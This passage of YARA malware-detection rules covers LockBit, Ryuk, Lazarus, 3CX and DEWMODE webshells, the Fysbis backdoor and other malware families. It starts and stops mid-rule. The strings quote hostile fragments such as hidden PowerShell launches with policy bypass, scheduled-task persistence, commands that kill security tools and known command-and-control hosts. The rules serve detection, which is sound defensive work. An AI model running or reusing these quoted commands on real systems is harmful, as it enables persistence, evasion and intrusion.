		$xc1 = { 33 38 36 00 63 6D 64 00 61 6E 69 00 61 64 76 00 6D 73 69 00 6D 73 70 00 63 6F 6D 00 6E 6C 73 }
		$xc2 = { 6E 74 6C 64 72 00 6E 74 75 73 65 72 2E 64 61 74 2E 6C 6F 67 00 62 6F 6F 74 73 65 63 74 2E 62 61 6B }
		$xc3 = { 76 6D 2E 73 74 61 74 73 2E 76 6D 2E 76 5F 66 72 65 65 5F 63 6F 75 6E 74 00 61 2B 00 2F 2A }
		$op1 = { 84 e5 f0 00 f0 e7 10 40 2d e9 2e 10 a0 e3 00 40 a0 e1 ?? fe ff }
		$op2 = { 00 90 a0 e3 40 20 58 e2 3f 80 08 e2 3f 30 c2 e3 09 20 98 e1 08 20 9d }
		$op3 = { 2d e9 01 70 43 e2 07 00 13 e1 01 60 a0 e1 08 d0 4d e2 02 40 }

	condition:
		( uint32be( 0 ) == 0x7f454c46 or uint16( 0 ) == 0xfeca or uint16( 0 ) == 0xfacf or uint32( 0 ) == 0xbebafeca ) and ( 1 of ( $x* ) or 3 of them ) or 2 of ( $x* ) or 5 of them
}

rule MAL_RANSOM_LockBit_Apr23_1
{
	meta:
		description = "Detects indicators found in LockBit ransomware"
		author = "Florian Roth"
		reference = "https://objective-see.org/blog/blog_0x75.html"
		date = "2023-04-17"
		score = 75
		id = "75dc8b95-16f0-5170-a7d6-fc10bb778348"

	strings:
		$xe1 = "-i '/path/to/crypt'" xor
		$xe2 = "http://lockbit" xor
		$s1 = "idelayinmin" ascii
		$s2 = "bVMDKmode" ascii
		$s3 = "bSelfRemove" ascii
		$s4 = "iSpotMaximum" ascii
		$fp1 = "<html"

	condition:
		(1 of ( $x* ) or 4 of them ) and not 1 of ( $fp* )
}

rule MAL_RANSOM_LockBit_Locker_LOG_Apr23_1
{
	meta:
		description = "Detects indicators found in LockBit ransomware log files"
		author = "Florian Roth"
		reference = "https://objective-see.org/blog/blog_0x75.html"
		date = "2023-04-17"
		score = 75
		id = "aa0a2393-e5a2-5151-8afb-91a9bb922179"

	strings:
		$s1 = " is encrypted. Checksum after encryption "
		$s2 = "~~~~~Hardware~~~~"
		$s3 = "[+] Add directory to encrypt:"
		$s4 = "][+] Launch parameters: "

	condition:
		2 of them
}

rule MAL_RANSOM_LockBit_ForensicArtifacts_Apr23_1
{
	meta:
		description = "Detects forensic artifacts found in LockBit intrusions"
		author = "Florian Roth"
		reference = "https://objective-see.org/blog/blog_0x75.html"
		date = "2023-04-17"
		score = 75
		id = "e716030c-ee78-51dc-919c-cf59e93da976"

	strings:
		$x1 = "/tmp/locker.log" ascii fullword
		$x2 = "Executable=LockBit/locker_" ascii
		$xc1 = { 54 6F 72 20 42 72 6F 77 73 65 72 20 4C 69 6E 6B 73 3A 0D 0A 68 74 74 70 3A 2F 2F 6C 6F 63 6B 62 69 74 }

	condition:
		1 of ( $x* )
}

rule Lazarus_Dec_17_1
{
	meta:
		description = "Detects Lazarus malware from incident in Dec 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8U6fY2"
		date = "2017-12-20"
		hash1 = "d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48"
		id = "f195ebf0-d7af-58e8-a544-769a0c8b628b"

	strings:
		$s1 = "::DataSpace/Storage/MSCompressed/Transform/" ascii
		$s2 = "HHA Version 4." ascii
		$s3 = { 74 45 58 74 53 6F 66 74 77 61 72 65 00 41 64 6F
              62 65 20 49 6D 61 67 65 52 65 61 64 79 71 }
		$s4 = "bUEeYE" fullword ascii

	condition:
		uint16( 0 ) == 0x5449 and filesize < 4000KB and all of them
}

rule Lazarus_Dec_17_2
{
	meta:
		description = "Detects Lazarus malware from incident in Dec 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8U6fY2"
		date = "2017-12-20"
		hash1 = "cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"
		hash2 = "9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453"
		id = "45127fb5-0f70-5140-acd9-46147d365dfe"

	strings:
		$s1 = "SkypeSetup.exe" fullword wide
		$s2 = "%s\\SkypeSetup.exe" fullword ascii
		$s3 = "Skype Technologies S.A." fullword wide
		$a1 = "Microsoft Code Signing PCA" ascii wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 7000KB and ( all of ( $s* ) and not $a1 )
}

rule Lazarus_Dec_17_4
{
	meta:
		description = "Detects Lazarus malware from incident in Dec 2017ithumb.js"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8U6fY2"
		date = "2017-12-20"
		hash1 = "8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3"
		hash2 = "7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e"
		id = "fbdc6287-c177-53b5-83dd-979936f65192"

	strings:
		$s1 = "var _0xf5ed=[\"\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\"," ascii

	condition:
		filesize < 9KB and 1 of them
}

rule Lazarus_Dec_17_5
{
	meta:
		description = "Detects Lazarus malware from incident in Dec 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8U6fY2"
		date = "2017-12-20"
		hash1 = "db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471"
		id = "33bd8c08-123e-5a8e-b5dc-02af7291addc"

	strings:
		$x1 = "$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden -ArgumentList" fullword ascii
		$x2 = "$respTxt = HttpRequestFunc_doprocess -szURI $szFullURL -szMethod $szMethod -contentData $contentData;" fullword ascii
		$x3 = "[String]$PS_PATH = \"C:\\\\Users\\\\Public\\\\Documents\\\\ProxyAutoUpdate.ps1\";" fullword ascii
		$x4 = "$cmdSchedule = 'schtasks /create /tn \"ProxyServerUpdater\"" ascii
		$x5 = "/tr \"powershell.exe -ep bypass -windowstyle hidden -file " ascii
		$x6 = "C:\\\\Users\\\\Public\\\\Documents\\\\tmp' + -join " ascii
		$x7 = "$cmdResult = cmd.exe /c $cmdInst | Out-String;" fullword ascii
		$x8 = "whoami /groups | findstr /c:\"S-1-5-32-544\"" fullword ascii

	condition:
		filesize < 500KB and 1 of them
}

rule CN_disclosed_20180208_lsls
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
		date = "2018-02-08"
		hash1 = "94c6a92984df9ed255f4c644261b01c4e255acbe32ddfd0debe38b558f29a6c9"
		id = "c6c4aa72-1a84-552f-bea0-38b332a74233"

	strings:
		$x1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 3000KB and $x1
}

rule CN_disclosed_20180208_c
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
		date = "2018-02-08"
		hash1 = "17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7"
		id = "cb0bcdc4-7eca-59b7-a947-85c232d4e599"

	strings:
		$x1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
		$x2 = "schtasks /create /sc minute /mo 1 /tn Server /tr " fullword wide
		$x3 = "www.upload.ee/image/" wide
		$s1 = "winmgmts:\\\\.\\root\\SecurityCenter2" fullword wide
		$s2 = "/Server.exe" fullword wide
		$s3 = "Executed As " fullword wide
		$s4 = "WmiPrvSE.exe" fullword wide
		$s5 = "Stub.exe" fullword ascii
		$s6 = "Download ERROR" fullword wide
		$s7 = "shutdown -r -t 00" fullword wide
		$s8 = "Select * From AntiVirusProduct" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 4 of them )
}

rule CN_disclosed_20180208_System3
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyberintproject/status/961714165550342146"
		date = "2018-02-08"
		hash1 = "73fa84cff51d384c2d22d9e53fc5d42cb642172447b07e796c81dd403fb010c2"
		id = "097f4506-295d-5066-8895-2148436731c1"

	strings:
		$a1 = "WmiPrvSE.exe" fullword wide
		$s1 = "C:\\Users\\sgl\\AppData\\Local\\" ascii
		$s2 = "Temporary Projects\\WmiPrvSE\\" ascii
		$s3 = "$15a32a5d-4906-458a-8f57-402311afc1c1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and $a1 and 1 of ( $s* )
}

import "pe"

rule CN_disclosed_20180208_Mal1
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
		date = "2018-02-08"
		hash1 = "173d69164a6df5bced94ab7016435c128ccf7156145f5d26ca59652ef5dcd24e"
		id = "8516bbfb-a2ad-565d-bf6c-71629b1831a1"

	strings:
		$x1 = "%SystemRoot%\\system32\\termsrvhack.dll" fullword ascii
		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
		$a1 = "taskkill /f /im cmd.exe" fullword ascii
		$a2 = "taskkill /f /im mstsc.exe" fullword ascii
		$a3 = "taskkill /f /im taskmgr.exe" fullword ascii
		$a4 = "taskkill /f /im regedit.exe" fullword ascii
		$a5 = "taskkill /f /im mmc.exe" fullword ascii
		$s1 = "K7TSecurity.exe" fullword ascii
		$s2 = "ServUDaemon.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( pe.imphash ( ) == "28e3a58132364197d7cb29ee104004bf" or 1 of ( $x* ) or 3 of them )
}

rule CN_disclosed_20180208_KeyLogger_1
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
		date = "2018-02-08"
		hash1 = "c492889e1d271a98e15264acbb21bfca9795466882520d55dc714c4899ed2fcf"
		id = "12eff9b6-1a65-5efc-b39c-88297bdae9c3"

	strings:
		$x2 = "Process already elevated." fullword wide
		$x3 = "GetKeyloggErLogsResponse" fullword ascii
		$x4 = "get_encryptedPassword" fullword ascii
		$x5 = "DoDownloadAndExecute" fullword ascii
		$x6 = "GetKeyloggeRLogs" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them
}

import "pe"

rule CN_disclosed_20180208_Mal4
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
		date = "2018-02-08"
		hash1 = "f7549c74f09be7e4dbfb64006e535b9f6d17352e236edc2cdb102ec3035cf66e"
		id = "6165caf5-157f-5381-a77e-6ed775187ab1"

	strings:
		$s1 = "Microsoft .Net Framework COM+ Support" fullword ascii
		$s2 = "Microsoft .NET and Windows XP COM+ Integration with SOAP" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and 1 of them and pe.exports ( "SPACE" )
}

rule CN_disclosed_20180208_Mal5
{
	meta:
		description = "Detects malware from disclosed CN malware set"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
		date = "2018-02-08"
		hash1 = "24c05cd8a1175fbd9aca315ec67fb621448d96bd186e8d5e98cb4f3a19482af4"
		hash2 = "05696db46144dab3355dcefe0408f906a6d43fced04cb68334df31c6dfd12720"
		id = "b1933610-9e6d-5eed-ba30-ccdd0d3a6124"

	strings:
		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
		$s2 = "Server.exe" fullword ascii
		$s3 = "System.Windows.Forms.Form" fullword ascii
		$s4 = "Stub.Resources.resources" fullword ascii
		$s5 = "My.Computer" fullword ascii
		$s6 = "MyTemplate" fullword ascii
		$s7 = "Stub.My.Resources" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

import "pe"

rule MAL_Ryuk_Ransomware
{
	meta:
		description = "Detects strings known from Ryuk Ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/"
		date = "2018-12-31"
		hash1 = "965884f19026913b2c57b8cd4a86455a61383de01dabb69c557f45bb848f6c26"
		hash2 = "b8fcd4a3902064907fb19e0da3ca7aed72a7e6d1f94d971d1ee7a4d3af6a800d"
		id = "25d40631-4158-5d3d-913e-a2f1233489e0"

	strings:
		$x1 = "/v \"svchos\" /f" fullword wide
		$x2 = "\\Documents and Settings\\Default User\\finish" wide
		$x3 = "\\users\\Public\\finish" wide
		$x4 = "lsaas.exe" fullword wide
		$x5 = "RyukReadMe.txt" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( pe.imphash ( ) == "4a069c1abe5aca148d5a8fdabc26751e" or pe.imphash ( ) == "dc5733c013378fa418d13773f5bfe6f1" or 1 of them )
}

rule WEBSHELL_APT_PHP_DEWMODE_UNC2546_Feb21_1
{
	meta:
		description = "Detects DEWMODE webshells"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html"
		date = "2021-02-22"
		hash1 = "2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7"
		hash2 = "5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b"
		id = "ea883f25-0e9b-5617-b05e-191a4a5c5a52"

	strings:
		$x1 = "<font size=4>Cleanup Shell</font></a>';" ascii fullword
		$x2 = "$(sh /tmp/.scr)"
		$x3 = "@system('sudo /usr/local/bin/admin.pl --mount_cifs=" ascii
		$s1 = "target=\\\"_blank\\\">Download</a></td>\";" ascii
		$s2 = ",PASSWORD 1>/dev/null 2>/dev/null');" ascii
		$s3 = ",base64_decode('" ascii
		$s4 = "include \"remote.inc\";" ascii
		$s5 = "@system('sudo /usr/local" ascii

	condition:
		uint16( 0 ) == 0x3f3c and filesize < 9KB and ( 1 of ( $x* ) or 2 of them ) or 3 of them
}

rule CoreImpact_sysdll_exe
{
	meta:
		description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		date = "27.12.2014"
		modified = "2023-01-06"
		hash = "f89a4d4ae5cca6d69a5256c96111e707"
		id = "bac55c00-5d14-59ca-8597-f52b4577be0c"

	strings:
		$s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
		$s1 = "Mozilla/5.0" fullword ascii
		$s3 = "index.php?c=%s&r=%lx" fullword ascii
		$s4 = "index.php?c=%s&r=%x" fullword ascii
		$s5 = "127.0.0.1" fullword ascii
		$s6 = "/info.dat" ascii
		$s7 = "needroot" fullword ascii
		$s8 = "./plugins/" ascii

	condition:
		$s0 or 6 of them
}

rule Sofacy_Fybis_ELF_Backdoor_Gen1
{
	meta:
		description = "Detects Sofacy Fysbis Linux Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
		date = "2016-02-13"
		modified = "2023-01-27"
		score = 80
		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
		id = "c6abf33e-9c5b-5e0f-b7f0-a0741bf9cc3a"

	strings:
		$x1 = "Your command not writed to pipe" fullword ascii
		$x2 = "Terminal don`t started for executing command" fullword ascii
		$x3 = "Command will have end with \\n" fullword ascii
		$s1 = "WantedBy=multi-user.target' >> /usr/lib/systemd/system/" ascii
		$s2 = "Success execute command or long for waiting executing your command" fullword ascii
		$s3 = "ls /etc | egrep -e\"fedora*|debian*|gentoo*|mandriva*|mandrake*|meego*|redhat*|lsb-*|sun-*|SUSE*|release\"" fullword ascii
		$s4 = "rm -f /usr/lib/systemd/system/" ascii
		$s5 = "ExecStart=" fullword ascii
		$s6 = "<table><caption><font size=4 color=red>TABLE EXECUTE FILES</font></caption>" fullword ascii

	condition:
		( uint16( 0 ) == 0x457f and filesize < 500KB and 1 of ( $x* ) ) or ( 1 of ( $x* ) and 3 of ( $s* ) )
}

rule Sofacy_Fysbis_ELF_Backdoor_Gen2
{
	meta:
		description = "Detects Sofacy Fysbis Linux Backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/"
		date = "2016-02-13"
		score = 80
		hash1 = "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592"
		hash2 = "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb"
		hash3 = "fd8b2ea9a2e8a67e4cb3904b49c789d57ed9b1ce5bebfe54fe3d98214d6a0f61"
		id = "d4e3a8bb-b23a-53a4-b5fb-b321a3417b43"

	strings:
		$s1 = "RemoteShell" ascii
		$s2 = "basic_string::_M_replace_dispatch" fullword ascii
		$s3 = "HttpChannel" ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 500KB and all of them
}

rule Backdoor_Redosdru_Jun17 : HIGHVOL
{
	meta:
		description = "Detects malware Redosdru - file systemHome.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/OOB3mH"
		date = "2017-06-04"
		hash1 = "4f49e17b457ef202ab0be905691ef2b2d2b0a086a7caddd1e70dd45e5ed3b309"
		id = "ea038142-6903-5d08-ac89-70c1bbef716c"

	strings:
		$x1 = "%s\\%d.gho" fullword ascii
		$x2 = "%s\\nt%s.dll" fullword ascii
		$x3 = "baijinUPdate" fullword ascii
		$s1 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii
		$s2 = "serviceone" fullword ascii
		$s3 = "\x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#p \x1f#f \x1f#" fullword ascii
		$s4 = "servicetwo" fullword ascii
		$s5 = "UpdateCrc" fullword ascii
		$s6 = "\x1f#[ \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#x \x1f#" fullword ascii
		$s7 = "nwsaPAgEnT" fullword ascii
		$s8 = "%-24s %-15s 0x%x(%d) " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and 1 of ( $x* ) or 4 of them )
}

rule Backdoor_Nitol_Jun17
{
	meta:
		description = "Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/OOB3mH"
		date = "2017-06-04"
		modified = "2023-01-07"
		hash1 = "cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946"
		id = "7dd26868-59e0-51a1-b12a-3b69d6246ff5"

	strings:
		$x1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
		$x3 = "TCPConnectFloodThread.target = %s" fullword ascii
		$s1 = "\\Program Files\\Internet Explorer\\iexplore.exe" ascii
		$s2 = "%c%c%c%c%c%c.exe" fullword ascii
		$s3 = "GET %s%s HTTP/1.1" fullword ascii
		$s4 = "CCAttack.target = %s" fullword ascii
		$s5 = "Accept-Language: zh-cn" fullword ascii
		$s6 = "jdfwkey" fullword ascii
		$s7 = "hackqz.f3322.org:8880" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 1 of ( $x* ) or 5 of ( $s* ) ) ) or ( all of them )
}

import "pe"

rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_1
{
	meta:
		description = "Detects malicious DLLs related to 3CX compromise"
		author = "X__Junior, Florian Roth (Nextron Systems)"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		date = "2023-03-29"
		modified = "2023-04-20"
		score = 85
		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
		hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
		hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
		id = "a6ea3299-fde5-5206-b5db-eb3a3f5944d9"

	strings:
		$opa1 = { 4C 89 F1 4C 89 EA 41 B8 40 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 F0 FF 15 ?? ?? ?? ?? 4C 8D 4C 24 ?? 45 8B 01 4C 89 F1 4C 89 EA FF 15 }
		$opa2 = { 48 C7 44 24 ?? 00 00 00 00 4C 8D 7C 24 ?? 48 89 F9 48 89 C2 41 89 E8 4D 89 F9 FF 15 ?? ?? ?? ?? 41 83 3F 00 0F 84 ?? ?? ?? ?? 0F B7 03 3D 4D 5A 00 00}
		$opa3 = { 41 80 7C 00 ?? FE 75 ?? 41 80 7C 00 ?? ED 75 ?? 41 80 7C 00 ?? FA 75 ?? 41 80 3C 00 CE}
		$opa4 = { 44 0F B6 CD 46 8A 8C 0C ?? ?? ?? ?? 45 30 0C 0E 48 FF C1}
		$opb1 = { 41 B8 40 00 00 00 49 8B D5 49 8B CC FF 15 ?? ?? ?? ?? 85 C0 74 ?? 41 FF D4 44 8B 45 ?? 4C 8D 4D ?? 49 8B D5 49 8B CC FF 15 }
		$opb2 = { 44 8B C3 48 89 44 24 ?? 48 8B 5C 24 ?? 4C 8D 4D ?? 48 8B CB 48 89 74 24 ?? 48 8B D0 4C 8B F8 FF 15 }
		$opb3 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE }
		$opb4 = { 49 63 C1 44 0F B6 44 05 ?? 44 88 5C 05 ?? 44 88 02 0F B6 54 05 ?? 49 03 D0 0F B6 C2 0F B6 54 05 ?? 41 30 12}

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5MB and pe.characteristics & pe.DLL and ( 2 of ( $opa* ) or 2 of ( $opb* ) )
}

rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_2
{
	meta:
		description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/dan__mayer/status/1641170769194672128?s=20"
		date = "2023-03-29"
		score = 80
		hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
		id = "bf3597ff-d62b-5d21-9c9b-e46e685284cf"

	strings:
		$s1 = "raw.githubusercontent.com/IconStorages/images/main/icon%d.ico" wide fullword
		$s2 = "https://raw.githubusercontent.com/IconStorages" wide fullword
		$s3 = "icon%d.ico" wide fullword
		$s4 = "__tutmc" ascii fullword
		$op1 = { 2d ee a1 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 46 a0 00 00 44 8b 05 7f a2 00 00 e8 0a 0e 00 00 }
		$op4 = { 4c 8d 5c 24 71 0f 57 c0 48 89 44 24 60 89 44 24 68 41 b9 15 cd 5b 07 0f 11 44 24 70 b8 b1 68 de 3a 41 ba a4 7b 93 02 }
		$op5 = { f7 f3 03 d5 69 ca e8 03 00 00 ff 15 c9 0a 02 00 48 8d 44 24 30 45 33 c0 4c 8d 4c 24 38 48 89 44 24 20 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 3 of them or 5 of them
}

rule APT_MAL_NK_3CX_Malicious_Samples_Mar23_3
{
	meta:
		description = "Detects malicious DLLs related to 3CX compromise (decrypted payload)"
		author = "Florian Roth , X__Junior (Nextron Systems)"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		date = "2023-03-29"
		score = 80
		hash1 = "aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973"
		id = "d2d361b6-8485-57eb-b6eb-88785f42e93e"

	strings:
		$opa1 = { 41 81 C0 ?? ?? ?? ?? 02 C8 49 C1 E9 ?? 41 88 4B ?? 4D 03 D1 8B C8 45 8B CA C1 E1 ?? 33 C1 41 69 D0 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 81 C2 ?? ?? ?? ?? 33 C1 43 8D 0C 02 02 C8 49 C1 EA ?? 41 88 0B 8B C8 C1 E1 ?? 33 C1 44 69 C2 ?? ?? ?? ?? 8B C8 C1 E9 ?? 33 C1 8B C8 C1 E1 ?? 41 81 C0 }
		$opa2 = { 8B C8 41 69 D1 ?? ?? ?? ?? C1 E1 ?? 33 C1 45 8B CA 8B C8 C1 E9 ?? 33 C1 81 C2 ?? ?? ?? ?? 8B C8 C1 E1 ?? 33 C1 41 8B C8 4C 0F AF CF 44 69 C2 ?? ?? ?? ?? 4C 03 C9 45 8B D1 4C 0F AF D7}
		$opb1 = { 45 33 C9 48 89 6C 24 ?? 48 8D 44 24 ?? 48 89 6C 24 ?? 8B D3 48 89 B4 24 ?? ?? ?? ?? 48 89 44 24 ?? 45 8D 41 ?? FF 15 }
		$opb2 = { 44 8B 0F 45 8B C6 48 8B 4D ?? 49 8B D7 44 89 64 24 ?? 48 89 7C 24 ?? 44 89 4C 24 ?? 4C 8D 4D ?? 48 89 44 24 ?? 44 89 64 24 ?? 4C 89 64 24 ?? FF 15}
		$opb3 = { 48 FF C2 66 44 39 2C 56 75 ?? 4C 8D 4C 24 ?? 45 33 C0 48 8B CE FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 44 0F B7 44 24 ?? 33 F6 48 8B 54 24 ?? 45 33 C9 48 8B 0B 48 89 74 24 ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 74 24 ?? FF 15 }
		$opb4 = { 33 C0 48 8D 6B ?? 4C 8D 4C 24 ?? 89 44 24 ?? BA ?? ?? ?? ?? 48 89 44 24 ?? 48 8B CD 89 44 24 ?? 44 8D 40 ?? 8B F8 FF 15}

	condition:
		( all of ( $opa* ) ) or ( 1 of ( $opa* ) and 1 of ( $opb* ) ) or ( 3 of ( $opb* ) )
}

rule SUSP_APT_MAL_NK_3CX_Malicious_Samples_Mar23_1
{
	meta:
		description = "Detects marker found in malicious DLLs related to 3CX compromise"
		author = "X__Junior, Florian Roth (Nextron Systems)"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		date = "2023-03-29"
		modified = "2023-04-20"
		score = 75
		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
		hash2 = "c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02"
		hash3 = "cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2"
		id = "9fc6eb94-d02f-5bcd-9f55-b6c6a8301b4f"

	strings:
		$opx1 = { 41 80 7C 00 FD FE 75 ?? 41 80 7C 00 FE ED 75 ?? 41 80 7C 00 FF FA 75 ?? 41 80 3C 00 CE }
		$opx2 = { 80 78 ?? FE 75 ?? 80 78 ?? ED 75 ?? 80 38 FA 75 ?? 80 78 ?? CE }

	condition:
		1 of them
}

rule APT_SUSP_NK_3CX_RC4_Key_Mar23_1
{
	meta:
		description = "Detects RC4 key used in 3CX binaries known to be malicious"
		author = "Florian Roth (Nextron Systems)"
		date = "2023-03-29"
		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
		score = 70
